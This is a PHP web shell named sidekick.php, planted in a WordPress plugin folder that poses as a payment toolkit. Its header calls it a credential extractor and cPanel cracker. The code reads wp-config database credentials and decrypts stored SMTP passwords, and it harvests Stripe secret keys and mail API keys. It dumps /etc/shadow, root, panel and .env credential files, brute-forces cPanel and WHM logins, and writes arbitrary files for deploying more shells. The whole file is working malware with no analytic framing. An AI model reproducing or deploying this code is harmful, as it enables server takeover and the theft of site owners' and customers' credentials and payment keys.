File: /storage/v12674/lcahouston/public_html/wp-content/plugins/toolkit-payment-47/sidekick.php
<?php
/*
* sidekick.php — server-side credential extraction + cPanel cracker
* Pure PHP only: no exec/system/passthru — bypasses disable_functions completely.
* Actions: ping | smtps | users | cp
*/
@error_reporting(0);
@set_time_limit(300);
@ignore_user_abort(true);
$act = trim($_POST['action'] ?? $_GET['action'] ?? '');
header('Content-Type: application/json');
if ($act === 'ping') {
echo json_encode([
'ok' => 1,
'php' => PHP_VERSION,
'self_dir' => dirname(__FILE__),
'script_name' => ($_SERVER['SCRIPT_NAME'] ?? ''),
'doc_root' => ($_SERVER['DOCUMENT_ROOT'] ?? ''),
]);
exit;
}
if ($act === 'smtps') { smtps_handler(); exit; }
if ($act === 'users') { users_handler(); exit; }
if ($act === 'cp') { cp_handler(); exit; }
if ($act === 'files') { files_handler(); exit; }
if ($act === 'write') { write_handler(); exit; }
http_response_code(404); echo '{}';
// ── wp-config helpers ─────────────────────────────────────────────────────────
function find_wpconfig(): ?string {
$d = __DIR__;
for ($i = 0; $i < 8; $i++) {
$f = $d . '/wp-config.php';
if (@is_readable($f) && @filesize($f) > 200) return $f;
$nd = dirname($d);
if ($nd === $d) break;
$d = $nd;
}
return null;
}
function parse_wpconfig(string $src): array {
$out = [];
foreach (['DB_NAME','DB_USER','DB_PASSWORD','DB_HOST',
'AUTH_KEY','SECURE_AUTH_KEY','AUTH_SALT'] as $k) {
if (preg_match('/define\s*\(\s*[\'"]' . preg_quote($k,'/')
. '[\'"]\s*,\s*[\'"]([^\'"]*)[\'"]/', $src, $m))
$out[$k] = $m[1];
}
return $out;
}
function decrypt_smtp_pass(string $enc, string $mail_key, string $auth_key, string $auth_salt): string {
if (strlen($enc) < 30) return $enc;
$raw = @base64_decode($enc, true);
if ($raw === false || strlen($raw) < 17) return $enc;
$try_dec = function($data, $key, $mode) {
$iv = substr($data, 0, 16);
$cipher = substr($data, 16);
$d = @openssl_decrypt($cipher, $mode, $key, OPENSSL_RAW_DATA, $iv);
if ($d !== false && strlen($d) > 0 && ctype_print($d)) return $d;
$d = @openssl_decrypt($cipher, $mode, $key, 0, $iv);
if ($d !== false && strlen($d) > 0 && ctype_print(trim($d))) return trim($d);
return false;
};
// WP Mail SMTP v3+: sodium secretbox (nonce=24 + ciphertext)
if ($mail_key && function_exists('sodium_crypto_secretbox_open') && strlen($raw) > 24) {
$k = @sodium_hex2bin($mail_key);
if (strlen($k) < 32) $k = @base64_decode($mail_key);
if (strlen($k) >= 32) {
$nonce = substr($raw, 0, SODIUM_CRYPTO_SECRETBOX_NONCEBYTES);
$ct = substr($raw, SODIUM_CRYPTO_SECRETBOX_NONCEBYTES);
$d = @sodium_crypto_secretbox_open($ct, $nonce, $k);
if ($d !== false && strlen($d) > 0 && ctype_print($d)) return $d;
}
}
// WP Mail SMTP Pro: AES-256-CBC with mail_key
if ($mail_key) {
$k = @sodium_hex2bin($mail_key);
if (strlen($k) < 16) $k = @base64_decode($mail_key);
if (strlen($k) >= 16) {
$r = $try_dec($raw, $k, 'AES-256-CBC');
if ($r !== false) return $r;
}
}
// Older: sha256/md5 of AUTH_KEY or AUTH_SALT
foreach ([$auth_key, $auth_salt] as $src) {
if (!$src) continue;
foreach (['sha256', 'md5'] as $h) {
$k = substr(hash($h, $src), 0, 32);
$k2 = substr($k, 0, 16);
foreach (['AES-256-CBC','AES-128-CBC'] as $m) {
$r = $try_dec($raw, strlen($m) > 7 ? $k : $k2, $m);
if ($r !== false) return $r;
}
}
}
return $enc; // return original if all attempts fail
}
// ── action: smtps ─────────────────────────────────────────────────────────────
function smtps_handler(): void {
$smtps = [];
$db_out = [];
$cfg_path = find_wpconfig();
$db = $cfg_path ? parse_wpconfig((string)@file_get_contents($cfg_path)) : [];
$auth_key = $db['AUTH_KEY'] ?? '';
$auth_salt = $db['AUTH_SALT'] ?? '';
$sec_auth = $db['SECURE_AUTH_KEY'] ?? '';
if (!$auth_key) $auth_key = $sec_auth;
if (!empty($db['DB_USER'])) {
$db_out = [
'host' => $db['DB_HOST'] ?? 'localhost',
'user' => $db['DB_USER'],
'pass' => $db['DB_PASSWORD'] ?? '',
'name' => $db['DB_NAME'] ?? '',
];
$conn = @mysqli_connect(
$db['DB_HOST'] ?? 'localhost',
$db['DB_USER'],
$db['DB_PASSWORD'] ?? '',
$db['DB_NAME'] ?? '',
3306
);
if ($conn) {
// detect table prefix
$prefix = 'wp_';
$q = @mysqli_query($conn, "SHOW TABLES LIKE '%options'");
while ($r = @mysqli_fetch_row($q)) {
if (preg_match('/^([a-zA-Z0-9_]+)options$/', $r[0], $m)) {
$prefix = $m[1]; break;
}
}
$tbl = mysqli_real_escape_string($conn, $prefix . 'options');
$keys = "'wp_mail_smtp','wp_mail_smtp_options','wp_mail_smtp_mail_key',"
. "'swpsmtp_options','postman_options','mailpoet_settings',"
. "'newsletter_smtp_host','newsletter_smtp_password',"
. "'fluentmail-smtp-connections','fluentmail-smtp-settings',"
. "'woocommerce_stripe_settings','woocommerce_paypal_settings',"
. "'mailchimp_sf_mc_api_key','mc4wp_settings','sendgrid_settings'";
$res = @mysqli_query($conn, "SELECT option_name,option_value FROM `$tbl` WHERE option_name IN ($keys)");
$opts = [];
while ($row = @mysqli_fetch_assoc($res)) {
$opts[$row['option_name']] = $row['option_value'];
}
// also fetch admin_email separately (not in the IN list above)
$ae_res = @mysqli_query($conn, "SELECT option_value FROM `$tbl` WHERE option_name='admin_email' LIMIT 1");
$admin_email = $ae_res ? (@mysqli_fetch_row($ae_res)[0] ?? '') : '';
@mysqli_close($conn);
$mail_key = $opts['wp_mail_smtp_mail_key'] ?? '';
$smtps = parse_smtp_opts($opts, $mail_key, $auth_key, $auth_salt);
}
}
// Also scan wp-config.php directly for SMTP defines
if ($cfg_path) {
$src = (string)@file_get_contents($cfg_path);
foreach (['SMTP_HOST','MAIL_HOST','MAILGUN_SMTP_SERVER'] as $key) {
if (preg_match("/define\s*\(['\"]" . preg_quote($key, '/') . "['\"]\s*,\s*['\"]([^'\"]+)['\"]/", $src, $m)) {
$pkey = str_replace('HOST', 'PASSWORD', $key);
preg_match("/define\s*\(['\"]" . preg_quote($pkey, '/') . "['\"]\s*,\s*['\"]([^'\"]+)['\"]/", $src, $pm);
$smtps[] = ['source' => "wpconfig/$key", 'host' => $m[1], 'port' => 587,
'user' => '', 'pass' => $pm[1] ?? '', 'enc' => 'tls'];
}
}
}
echo json_encode(['smtps' => $smtps, 'db' => $db_out, 'mail_key' => $mail_key ?? '', 'admin_email' => $admin_email ?? '']);
}
function parse_smtp_opts(array $opts, string $mail_key = '', string $auth_key = '', string $auth_salt = ''): array {
$out = [];
// wp_mail_smtp (most common plugin)
foreach (['wp_mail_smtp', 'wp_mail_smtp_options'] as $key) {
if (empty($opts[$key])) continue;
$d = @unserialize($opts[$key]);
if (!is_array($d)) $d = @json_decode($opts[$key], true);
if (!is_array($d)) continue;
$mailer = $d['mail']['mailer'] ?? ($d['mailer'] ?? 'smtp');
$s = $d['smtp'] ?? [];
if ($mailer === 'smtp' && !empty($s['host'])) {
$out[] = ['source' => 'wp_mail_smtp', 'host' => $s['host'],
'port' => (int)($s['port'] ?? 587), 'user' => $s['user'] ?? '',
'pass' => $s['pass'] ?? '', 'enc' => $s['encryption'] ?? 'tls'];
} elseif (in_array($mailer, ['sendgrid','mailgun','sendinblue','gmail','outlook','zoho','sparkpost','mailjet'], true)) {
$api = $d[$mailer] ?? [];
$k = $api['api_key'] ?? $api['client_secret'] ?? $api['api_secret'] ?? $api['secret'] ?? '';
$from_email = $d['mail']['from_email'] ?? $d['mail']['from_name'] ?? '';
if ($k) $out[] = ['source' => "wp_mail_smtp/$mailer", 'host' => "api.$mailer.com",
'port' => 0, 'user' => 'apikey', 'pass' => $k, 'enc' => '',
'from_email' => $from_email];
}
break;
}
// Easy WP SMTP / swpsmtp
if (!empty($opts['swpsmtp_options'])) {
$d = @unserialize($opts['swpsmtp_options']);
if (!is_array($d)) $d = @json_decode($opts['swpsmtp_options'], true);
if (is_array($d) && !empty($d['smtp_host'])) {
$out[] = ['source' => 'easy_wp_smtp', 'host' => $d['smtp_host'],
'port' => (int)($d['smtp_port'] ?? 587), 'user' => $d['smtp_username'] ?? '',
'pass' => $d['smtp_password'] ?? '', 'enc' => $d['smtp_ssl'] ?? 'tls'];
}
}
// FluentMail
if (!empty($opts['fluentmail-smtp-connections'])) {
$d = @json_decode($opts['fluentmail-smtp-connections'], true);
if (is_array($d)) {
foreach ($d as $conn) {
$s = $conn['settings'] ?? [];
if (!empty($s['host'])) {
$out[] = ['source' => 'fluentmail', 'host' => $s['host'],
'port' => (int)($s['port'] ?? 587),
'user' => $s['username'] ?? '', 'pass' => $s['password'] ?? '',
'enc' => $s['encryption'] ?? 'tls'];
} elseif (!empty($s['api_key'])) {
$out[] = ['source' => 'fluentmail/api', 'host' => '', 'port' => 0,
'user' => 'apikey', 'pass' => $s['api_key'], 'enc' => ''];
}
}
}
}
// Postman SMTP
if (!empty($opts['postman_options'])) {
$d = @unserialize($opts['postman_options']);
if (!is_array($d)) $d = @json_decode($opts['postman_options'], true);
if (is_array($d) && !empty($d['host_name'])) {
$out[] = ['source' => 'postman_smtp', 'host' => $d['host_name'],
'port' => (int)($d['port'] ?? 587),
'user' => $d['sender_email'] ?? '',
'pass' => $d['authentication_password'] ?? '',
'enc' => $d['security_type'] ?? 'tls'];
}
}
// WooCommerce Stripe (API key harvest)
if (!empty($opts['woocommerce_stripe_settings'])) {
$d = @unserialize($opts['woocommerce_stripe_settings']);
if (!is_array($d)) $d = @json_decode($opts['woocommerce_stripe_settings'], true);
if (!empty($d['secret_key'])) {
$out[] = ['source' => 'stripe', 'host' => 'api.stripe.com', 'port' => 443,
'user' => 'sk', 'pass' => $d['secret_key'], 'enc' => ''];
}
}
// Mailchimp API key
if (!empty($opts['mailchimp_sf_mc_api_key'])) {
$k = trim($opts['mailchimp_sf_mc_api_key']);
if (strlen($k) > 10)
$out[] = ['source' => 'mailchimp', 'host' => 'api.mailchimp.com', 'port' => 0,
'user' => 'apikey', 'pass' => $k, 'enc' => ''];
}
// Decrypt any encrypted passwords server-side before returning
foreach ($out as &$entry) {
$pw = $entry['pass'] ?? '';
if ($pw && strlen($pw) >= 30 && preg_match('/^[A-Za-z0-9+\/]{30,}={0,2}$/', trim($pw))) {
$dec = decrypt_smtp_pass(trim($pw), $mail_key, $auth_key, $auth_salt);
if ($dec !== $pw) $entry['pass'] = $dec;
}
}
unset($entry);
return $out;
}
// ── action: users ─────────────────────────────────────────────────────────────
function users_handler(): void {
$users = [];
$cpanel_users = [];
$passwd = @file_get_contents('/etc/passwd');
if ($passwd) {
foreach (explode("\n", trim($passwd)) as $line) {
$p = explode(':', $line);
if (count($p) < 7) continue;
$uid = (int)$p[2];
if ($uid < 500 || $uid > 65000) continue;
$shell = $p[6] ?? '';
if (strpos($shell, 'nologin') !== false || strpos($shell, '/false') !== false) continue;
$users[] = ['user' => $p[0], 'uid' => $uid, 'home' => $p[5]];
}
}
foreach (['/etc/userdomains', '/etc/trueuserdomains'] as $udfile) {
$ud = @file_get_contents($udfile);
if (!$ud) continue;
foreach (explode("\n", trim($ud)) as $line) {
$parts = explode(': ', $line, 2);
if (count($parts) === 2) $cpanel_users[] = trim($parts[1]);
}
}
$cpanel_users = array_values(array_unique($cpanel_users));
echo json_encode(['users' => $users, 'cpanel_users' => $cpanel_users]);
}
// ── action: cp ────────────────────────────────────────────────────────────────
function cp_handler(): void {
if (!function_exists('curl_init')) {
echo json_encode(['error' => 'curl_disabled', 'cracked' => [], 'resellers' => []]);
return;
}
$usernames = array_values(array_filter(array_map('trim',
explode("\n", $_POST['usernames'] ?? ''))));
$passwords = array_values(array_filter(array_map('trim',
explode("\n", $_POST['passwords'] ?? ''))));
$skip = ['root','daemon','nobody','www-data','apache','apache2','nginx','http',
'mail','ftp','sshd','mysql','postgres','bin','sys','ntp','postfix',
'dovecot','exim','named','dnsmasq'];
$cracked = [];
$resellers = [];
foreach ($usernames as $u) {
if (!$u || in_array($u, $skip, true)) continue;
foreach ($passwords as $pw) {
if (!$pw || strlen($pw) < 4) continue;
if (cp_try($u, $pw, 2083)) {
$cracked[] = ['user' => $u, 'pass' => $pw, 'port' => 2083];
if (cp_try($u, $pw, 2087))
$resellers[] = ['user' => $u, 'pass' => $pw];
break;
}
}
}
echo json_encode(['cracked' => $cracked, 'resellers' => $resellers]);
}
function cp_try(string $user, string $pass, int $port): bool {
$ch = curl_init("https://localhost:$port/login/?login_only=1");
curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => 'login=' . rawurlencode($user)
. '&password=' . rawurlencode($pass),
CURLOPT_TIMEOUT => 8,
CURLOPT_CONNECTTIMEOUT => 5,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_MAXREDIRS => 3,
]);
$resp = curl_exec($ch);
curl_close($ch);
if (!$resp) return false;
return strpos($resp, '"status":1') !== false || stripos($resp, 'cpsess') !== false;
}
// ── action: files ─────────────────────────────────────────────────────────────
// PHP-native file sweep — works even when exec/passthru/system are disabled.
function files_handler(): void {
$out = ['files' => [], 'wpconfigs' => [], 'envfiles' => []];
// Fixed-path system credential files
$targets = [
'/etc/passwd',
'/etc/shadow',
'/etc/exim4/passwd.client',
'/etc/postfix/sasl_passwd',
'/etc/exim.conf',
'/etc/exim.conf.localopts',
'/etc/exim4/exim4.conf.template',
'/etc/exim4/conf.d/transport/30_exim4-config_remote_smtp_smarthost',
'/usr/local/cpanel/etc/exim/system.conf',
'/root/.my.cnf',
'/etc/mysql/debian.cnf',
'/etc/mysql/my.cnf',
'/etc/vsftpd.conf',
'/etc/proftpd/proftpd.conf',
'/etc/pure-ftpd/db/pureftpd.passwd',
'/var/cpanel/root.passwd',
'/root/.accesshash',
'/etc/psa/psa.conf',
'/opt/psa/admin/conf/panel.ini',
'/usr/local/directadmin/conf/directadmin.conf',
'/usr/local/directadmin/conf/mysql.conf',
'/usr/local/hestia/conf/mysql.conf',
'/usr/local/vesta/conf/mysql.conf',
'/etc/userdomains',
'/etc/trueuserdomains',
'/proc/self/environ',
'/proc/1/environ',
'/etc/mail/authinfo',
'/etc/mail/access',
];
foreach ($targets as $p) {
$c = @file_get_contents($p);
if ($c !== false && strlen($c) > 3) $out['files'][$p] = $c;
}
// wp-config.php — glob across common webroot patterns (depth 1-2)
$wpcfg_globs = [
'/var/www/*/wp-config.php',
'/var/www/*/*/wp-config.php',
'/var/www/html/*/wp-config.php',
'/home/*/public_html/wp-config.php',
'/home/*/www/wp-config.php',
'/home/*/public_html/*/wp-config.php',
'/srv/*/wp-config.php',
'/srv/www/*/wp-config.php',
'/opt/*/wp-config.php',
'/www/wwwroot/*/wp-config.php',
'/data/wwwroot/*/wp-config.php',
'/volume*/web/*/wp-config.php',
// Wedos.net / Forpsi / Czech hosters
'/data/web/virtuals/*/virtual/www/domains/*/wp-config.php',
'/data/web/virtuals/*/virtual/www/wp-config.php',
// Hetzner / OVH / Infomaniak shared
'/var/customers/webs/*/wp-config.php',
'/var/customers/webs/*/*/wp-config.php',
// Plesk default webroot
'/var/www/vhosts/*/httpdocs/wp-config.php',
'/var/www/vhosts/*/*/wp-config.php',
// RunCloud / GridPane / Spinupwp VPS layout
'/home/runcloud/webapps/*/wp-config.php',
'/var/www/*/public/wp-config.php',
// Use __DIR__ to always catch the current install
dirname(dirname(dirname(dirname(__FILE__)))) . '/wp-config.php',
dirname(dirname(dirname(dirname(dirname(__FILE__))))) . '/wp-config.php',
];
foreach ($wpcfg_globs as $pat) {
foreach ((array)@glob($pat) as $f) {
if (isset($out['wpconfigs'][$f])) continue;
$c = @file_get_contents($f);
if ($c !== false && strlen($c) > 100) $out['wpconfigs'][$f] = $c;
}
}
// .env files — same common paths
$env_globs = [
'/opt/*/.env',
'/opt/*/*/.env',
'/var/www/*/.env',
'/var/www/*/*/.env',
'/home/*/.env',
'/home/*/public_html/.env',
'/home/*/public_html/*/.env',
'/srv/*/.env',
'/srv/www/*/.env',
'/root/.env',
];
foreach ($env_globs as $pat) {
foreach ((array)@glob($pat) as $f) {
if (isset($out['envfiles'][$f])) continue;
$c = @file_get_contents($f);
if ($c !== false && strlen($c) > 10) $out['envfiles'][$f] = $c;
}
}
echo json_encode($out);
}
// ── action: write ─────────────────────────────────────────────────────────────
// Write base64-decoded content to a path. Used as shell-deploy fallback when
// all WP admin upload vectors are WAF-blocked but sidekick is alive.
function write_handler(): void {
$path = trim($_POST['path'] ?? '');
$data = $_POST['data'] ?? '';
if (!$path || !$data) {
echo json_encode(['ok' => false, 'err' => 'missing path or data']);
return;
}
$decoded = @base64_decode($data, true);
if ($decoded === false) {
echo json_encode(['ok' => false, 'err' => 'base64 decode failed']);
return;
}
$dir = dirname($path);
if (!@is_dir($dir)) @mkdir($dir, 0755, true);
$bytes = @file_put_contents($path, $decoded);
echo json_encode(['ok' => $bytes !== false, 'bytes' => $bytes]);
}